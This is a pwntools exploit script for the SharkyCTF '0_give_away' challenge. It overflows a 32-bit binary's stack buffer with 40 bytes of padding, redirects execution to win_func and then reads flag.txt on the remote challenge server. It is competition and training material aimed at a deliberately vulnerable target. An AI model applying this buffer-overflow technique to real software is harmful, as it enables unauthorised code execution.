#!/usr/bin/env python # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host sharkyctf.xyz --port 20333 --path ./0_give_away from pwn import * # Set up pwntools for the correct architecture context.update(arch='i386') exe = context.binary = ELF('0_give_away') # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or 'sharkyctf.xyz' port = int(args.PORT or 20333) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' continue '''.format(**locals()) # =========================================================== # EXPLOIT GOES HERE # =========================================================== io = start() offset = 40 payload = fit({offset: exe.symbols['win_func']}) io.sendline(payload) io.sendline("cat flag.txt") print(io.recv())